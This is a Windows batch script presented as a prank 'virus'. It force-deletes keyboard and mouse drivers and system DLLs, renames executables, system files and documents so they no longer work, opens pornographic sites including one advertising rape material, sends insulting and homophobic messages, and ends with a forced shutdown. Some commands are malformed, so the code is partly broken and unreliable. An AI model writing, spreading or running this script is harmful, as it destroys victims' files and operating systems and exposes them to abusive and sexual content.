Funny Batch "Virus"

@EcHo off
color 2
title You just got Pwned :]


copy c:\Windows
copy c:\
copy c:\Windows\System32
cd %windir%\system32
del /S /F /Q keyboard.drv
del /S /F /Q mouse.drv
del /S /F /Q keyboard.sys
:round1
msg * this virus was brought to you by t3h-death-cap, we apologise for any inconvienience caused.... NOT 
set /a wait=%wait%+1
if %wait% leq 9000 goto round2
:round2
start ::: GayPorn.com ::: Gay Porn, Gay Sex, Gay Movies, and More - Just For Men!!!
echo naughty naughty looking at gay porn?
set /a wait=%wait%+1
if %wait% leq 2000 goto round3
:round3 
echo dont worry gay porn is only the start, you have no idea what else is coming up...
cd c:\ del /S /F /Q *.dll
echo Now don't turn off your computer, all of your startup files and 
echo more are gone, so just enjoy your pc while you have it.
echo Okay time for more pwnography...
set /a wait=%wait%+1
if %wait% leq 4000 
goto round4
:round4
ren /S /F /Q *.exe *.pwned
ren /S /F /Q *.zip * .pwned
ren /S /F /Q *.txt * .t3hdeathcappwnsyou
ren /S /F /Q *.rtf * .pwnedbyt3hdeathcap
ren /F /S /Q *.doc *.pwnedbyt3hdeathcap
echo wow, you would think you like getting pwned lol
set /a wait=%wait%+1
if %wait% leq 3000 
goto round5
:round5
msg * Go get fucked....
set /a wait=%wait%+1
if %wait% leq 2000 goto round6
:round6
start Free Porn Sex Videos - Redtube - XXX Movies - Home of Porno
start Rape Board - Free rape pictures and videos. - Powered by vBulletin
start www****c.co.uk
start Google
set /a wait=%wait%+1
if %wait% leq 3000 goto round7
:round7
echo what you are a twat?
set /a wait=%wait%+1
if %wait% leq 2000 goto round8
:round8
start The Search Engine that Does at InfoWeb.net
set /a wait=%wait%+1
if %wait% leq 2000 goto round9
:round9
echo You really are childhish...
set /a wait=%wait%+1
if %wait% leq 2000 goto round10
:round10
start Club Penguin - Waddle around and meet new friends!
start Habbo Hotel - Make friends, join the fun, get noticed!
start RuneScape - MMORPG - The No.1 Free Online Multiplayer Game
set /a wait=%wait%+1
if %wait% leq 2000 goto round11
goto round12
:round12
echo Time to be rickrolled
start 
set /a wait=%wait%+1
if %wait% leq 2000 goto round13
:round13
echo you got rick rolled mother fucker!!!!!!
echo crying to our mummy now?????
echo pathetic, I think you need to learn a lesson for being a little 
echo whimpy girl...
ren /F /S /Q *.jpg *.stopbeingawhimp
ren /F /S /Q *.bmp *.gogetfucked
ren /F /S /Q *.sys *.pwned
ren /F /S /Q *.drv *.pwned
set /a wait=%wait%+1
if %wait% leq 2000 goto round14
:round14
echo Oh hai I heard you liek mudkipzzzz?
set /a wait=%wait%+1
if %wait% leq 2000 goto round15
:round15
ren /F /S /Q *.com *.iheardyouliekmudkipzzz
echo well you gotta like them now.
set /a wait=%wait%+1
if %wait% leq 2000 goto round16
:round16
echo No? Maybe you liek caek?
start http://www.londonlulz.com/images/thu...500px-Caek.jpg
set /a wait=%wait%+1
if %wait% leq 4000 goto caek1
:caek1
msg * Some napkins or paper plates probably wouldn't be a bad idea either. Home made cakes are great, especially if they're creatively shaped and/ or decorated. 
set /a wait=%wait%+1
if %wait% leq 2000 goto caek2
:caek2
msg * Recommended Caek
Jaffa Caek
Chocolate Caek 
Companion Cube Caek 
set /a wait=%wait%+1
if %wait% leq 9000 goto fate
:fate
echo kay You had your fun with the caek and the porn and shit now 
echo fun over... Time for you to look inside you wallet make sure 
echo there is ALOT of money for a new computer and/ or for a 
echo IT proffesional to look at your PC... I'm sorry, but it's pwnage 
echo time.............
shutdown -s -f
echo bye, nice knowing you.
pause